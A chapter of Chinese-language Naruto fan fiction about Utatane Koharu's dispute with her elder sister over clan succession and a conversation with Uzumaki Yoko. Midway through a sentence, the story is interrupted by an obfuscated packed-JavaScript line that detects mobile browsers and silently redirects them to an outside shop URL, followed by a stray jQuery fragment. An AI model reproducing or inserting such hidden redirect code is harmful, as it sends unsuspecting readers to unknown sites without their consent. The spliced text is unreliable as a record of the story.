——沙沙
静室格外明显的推门声,檐下鸟儿振翅远飞,清晨的阳光留过门框倾泻而下,映射正中央跪坐的女人背影。
“小春。”
推门站立的女忍面容与转寝小春相仿,身穿忍服,衣角带血,一看便知方执行完任务风尘仆仆归来。
转寝小风犹豫踟蹰叫了妹妹的名字。
转寝小春石雕般岿然不动。
门外的守卫已瞬移离开。
偌大的氏神社,姐妹俩一前一后,寂静无音。
良久,转寝小风咬了咬唇,扯出笑脸生硬道:“我来叫你回家。关于继承人一事……小妹倒不必——”
长姐软弱的态度火上浇油,一天一夜的怒气蓬勃欲出,转寝小春目视前方祖宗牌位,强忍着快速打断,“跟我说这个干什么?长姐您才是名副其实的继承人。”
“但是——”
“没有但是。”转寝小春闭了闭眼,膝盖酸麻胀痛顺着神经传入大脑,她扶膝起身,快速掠过堵在门前的长姐,擦肩而过。
走到安全距离,转寝小春扭头,长姐单薄寥落的身躯拉出长长的影。
她漠然看了好一会,匆匆离开。
*
忍族继承制有三:长子继承、长女继承、长男继承。
顾名思义。
——一般情况下如此。
在这套规则下,继承者与非继承者接受两套截然不同的教育方法。
转寝小春行二,长姐转寝小风大她四岁。
转寝家世代例行长女继承制。
长女生下来便作为继承人培养,文上修习宗族法吾,学驭下之术,统一族忍者,武则传承家族秘术,带队作战积累功绩:家族资源皆倾斜与她。
次女一生所学不过“辅佐”二字。
幼时转寝姐妹关系极好,晚上妹妹会抱着枕头巴巴到姐姐大人屋外站岗,训练一天的姐姐大人温柔领她一起睡。
遥远朦胧的记忆中,转寝小春发自内心认同姐姐配得上所有的美好、幸福。大家说姐姐会成为未来的家主,是族内发号施令、最有能力的人。她会作为辅佐者一生陪伴于姐姐大人左右
她憧憬着这样的未来,期冀长大后为姐姐分忧。
此外,转寝小春作为父母的孩子,同样渴望家人的认可。
父亲母亲不外出时,总陪在姐姐身边指导姐姐训练,告诉姐姐手里剑的姿势该如何调整能最远投掷,如何配合起爆符使用,苦无如何无声无息迅速切断敌人的查克拉静脉。
父亲母亲总离姐姐三步远,慈祥和善,鼓励姐姐说:“你还能做得更好。”
对姐姐的教导一遍又一遍重复。
转寝小春扒着墙角羡慕极了,暗暗将长辈们教授的技巧牢记于心,自己偷偷练。
第一次正式训练时,转寝小春按耐住激动的心情,调整呼吸锁定目标,手腕翻转连续甩动,柔软的手掷出的苦无杀意凛然,招招正中箭靶红心,浅浅钉住。
与对小孩子来说坚硬的靶子相比,更脆弱的稻草人脑袋落地,稻草纷纷扬扬。
眼前的一切令转寝小春心满意足,迫不及待地想听父亲母亲长老们的夸奖。
转身、愣住。
小小的人孤身站立。
父亲母亲甚至没有看她。只有几位长老,浑浊的目光复杂晦涩,窃窃私语。
母亲推了一把身边的姐姐大人,让姐姐大人再来一次,父亲则令她给姐姐大人让出地方。
转寝小春懵懵懂懂饱含失望与垂头的姐姐擦肩而过。
妹妹千言万语难以出口,望着姐姐的背影胸膛酸酸涨涨
自己还做的不够好。她想。
只要自己更加努力,父亲母亲的视线总会分一份给自己。
转寝小春更加勤奋地练习。苦无、手里剑术,感知忍术、医疗忍术……
直到她发现自己越努力,父亲母亲陪伴在姐姐的身边越长。
更意外的,甚至姐姐也与她渐行渐远。
转寝小春敏锐地感知,在训练场、在祭祀礼、在长辈前,后来发展到家里,姐姐躲闪她、疏远她。
为什么?
我只是想得到父亲母亲的夸赞。
为什么连姐姐的陪伴都失去了。
令姐妹关系雪上加霜的是,转寝小春发现,高大威武的长姐只存在自己的想象中。长姐哪一方面都比不上自己,没有天赋,一点也不特殊。
她干脆卸下束缚,不再追寻长姐,失望地、迫不及待地将目光全部投向强壮的父亲母亲。
从长姐那失意的情感,她愈发的想要从父亲母亲那找补。
如果自己早出生,那自己也能得到父亲母亲的关爱。
转寝小春想,为什么偏偏她是妹妹呢?自己既有天赋又努力。
——是妹妹也没关系。
她这样告诉自己。
转寝小春越发使自己优秀,用实际行动告诉所有人,自己比姐姐更出色。
又是几年后,她跟父母激烈争吵,争辩道:“我不比姐姐优秀吗?为什么不是我?父亲母亲为什么总看着姐姐?我当上继承人才会得到你们的关注吗?”
母亲怒而无力地告诉她,她是妹妹,姐姐是长姐。
不是谁优秀才当继承人,是谁能带领家族走得远,谁才是。
无论她说什么,母亲总是姐姐妹妹的车轱辘话说个没完,往往吵到一半她愤而离开。
渐渐的,她不说了。也不爱在转寝家训练——她总能在转寝训练场碰到长姐。
她讨厌自己长姐无力的手里剑术,软绵绵,无力,像长姐一样,优柔寡断——长姐第一次带队外出执行任务因不忍心杀死孩童忍者而导致队伍死伤惨重。
执拗拧巴的思想一直持续到转寝小春十一岁,这一年转寝小风十五岁。
转寝家族向来于元服礼确认长女继承者的位置。
转寝小春寝不安席。
恰巧,这一年二代目火影选了她作学生。
……
行至族长宅,转寝小春推门而入,余光扫到熟悉的身影,她眼睛微微睁大,直冲卧房的脚步放慢。
“阳子?”
会客室,漩涡阳子穿水色绣波浪纹访问服,正与转寝族长客套,闻言两人同时转头。
阳子眼睛一亮,勉强克制住起身扑过去的冲动,还有外人在呢,矜持地问好:“小春师姐,日安。”
转寝族长和煦地嘱咐完女儿好生招待客人,识趣地起身离开,给两人留下相处空间。
阳子余光瞥了眼转寝族长的背影,轻轻拍身边的位置,
转寝小春自然地坐到她身边。
阳子小声道:“我来找你,非常和规矩,你看,那边是我带来的上门礼。”
等主人家离开视线范围,阳子板正的坐姿立刻松散,脑袋抵上小春的肩膀,半撒娇半装可怜。
“小春昨天没来,我等到太阳落山,还被蜜蜂叮了,你看——”
阳子撸起左袖,露出的胳膊白皙光滑,她默默拉回袖子换条胳膊,右臂犁地似的仔细才在大臂内侧翻到浅红色几乎要消失的伤口,咻地伸到小春眼前,生怕晚一分钟就愈合了。
转寝小春微微蹙眉,训练时她时刻盯着阳子不被苦无划伤,现在竟被蜜蜂欺负去了,她捏着阳子手腕固定,拇指拂过红点,问阳子疼不疼。
背靠这点马上就要愈合的小伤口,阳子欣然接受小春的关心。
毫不害臊,嬉皮笑脸,搂住转寝小春的脖颈,拉过她的手环住自己腰腹,“才不疼呢,没感觉似的,就算是疼也是昨天掏蜂窝该的。现在借着它让小春关心关心我,要不然指不定把我忘记到哪个犄角旮旯里去。”
转寝小春收紧胳膊,怀里火热的一团燃烧她的理智,“我有些事情,抱歉失约了。”
阳子觑了眼小春的神色。
——什么都看不出来。
面色平淡,眉眼如常,她能品出愧疚,再多的就没了。
老天,赐予漩涡阳子读心术吧!
那为什么小春昨日没去与她训练?
绞尽脑汁猜不出来就猜不出来,鼻子下边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690385|204911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一张嘴,问不就行了!
“什么事,能告诉我吗?”
面对阳子期冀的眼神,转寝小春满腹心事,她张了张口,心里一团乱麻,既觉得家族里的烂事没必要让阳子替自己担忧,又想向阳子诉说心事。
转寝小春纠结时,阳子把自己从她怀里拔出来,正襟危坐,一本正经,手掌一伸,示意她说。
大人一般。
转寝小春好像笑了一下,眼尾上挑,发间的珠钗轻轻晃动。
好,她说给她听。
常听阳子说自己小时候怎么样怎么样,她才多大,自己才是该说小时候的那个人。
真正说出口的瞬间,诡异的平静放松席卷全身。
虽然问题得不到解决,但有个全心全意的倾听者,感觉不赖。
流水般的声音平淡讲述,阳子细眉拧成一团,瞥了眼小春。
趁着间隙,她给小春倒杯茶送上,转寝小春即使不渴也接过来抿了口。
阳子想,正因为小春是天才,伯父伯母才冷着小春。否则给二女儿过多的关注,会令二女儿生出野心。
骨肉嫌隙,同室操戈并非无前例。进而人心离散,氏族分裂。
必有族人支持长者出身的姐姐,也必有族人支持天赋卓越的妹妹。
可惜转寝家倒因为果,偏偏小春因为父母的忽视才起了夺位的心思。
转寝小春面无表情,喝过茶水嗓音反而更加晦涩。
她们六个并非千手扉间的徒弟,而是二代目火影的徒弟。
她接触到木叶更核心的权力。
德高望重的族中长老态度一百八十度大转弯,继承的天平隐隐向她倾斜。
一点都不值得高兴。
凭什么?
她自己既有天分又努力,这么些年族中对自己不冷不热。仅仅成为了扉间老师的学生,自己从前拼尽一切日夜努力渴盼的就轻松到手了?
为什么。
长老们看中的不是转寝小春,而是二代目火影的徒弟。
“所以,现在小春想不想成为少族长?”阳子一针见血。
转寝小春盯着茶水中女人的倒影,十六岁的年纪,风华正茂。
“不想。”
现在转寝家为继承人之事僵持。一则转寝小风性格软弱,能力平平,原为长女拼尽全族之力培养,按捺住能力出众的转寝小春以防姐妹争斗。
现在二代目火影的学生身份为转寝小春增添筹码,转寝小风软弱的性格又成好事了。
就算妹妹当上少族长,转寝小风也不会闹出事端。
所以,长老们并未在转寝小风的元服日宣布她为继承人。
爪麻的是,转寝小春也不愿意。
原本两头堵,现在更堵了。
转寝小春的意思是,让她那软弱无能的姐姐当族长吧,她是长姐,反正族中这么多人看着,不会让转寝小风出岔子。
长老们的意思是,她们已经否定了转寝小风,你转寝小春从前追着当少族长,现在你不想也得当。
昨天又谈起这个话题,转寝小春说了些不中听的,被押进祠堂跪祖宗,才错过了同阳子的训练。
明白转寝小春的想法,阳子又给她续上一杯茶,她话锋一转:“小春,嗯,会结婚吗?”
毫不相干的话题令转寝小春一愣,她抿唇,纤长的睫毛盖住眸色,摇头。
阳子微笑,“就算结婚也没关系,不结婚更方便。
你说,让你长姐成为继承人,自己不结婚,一辈子辅佐长姐,守护家族,将来辅佐长姐的孩子。”
小春能为此烦恼,说明她依然在乎转寝的姓氏,这样最好,往后的路还长,小春作为扉间老师的学生也不会受家族制肘。
现在总不能让小春天天为此吵架烦恼跪祠堂。
阳子思忖此计可行。
转寝小风的意见倒不重要。
就看长老们拉不拉的下脸,再立转寝小风了。
“小春觉得呢?”阳子视线从小春挑起的唇角扫到微闪的眼眸,“是个好主意吧?”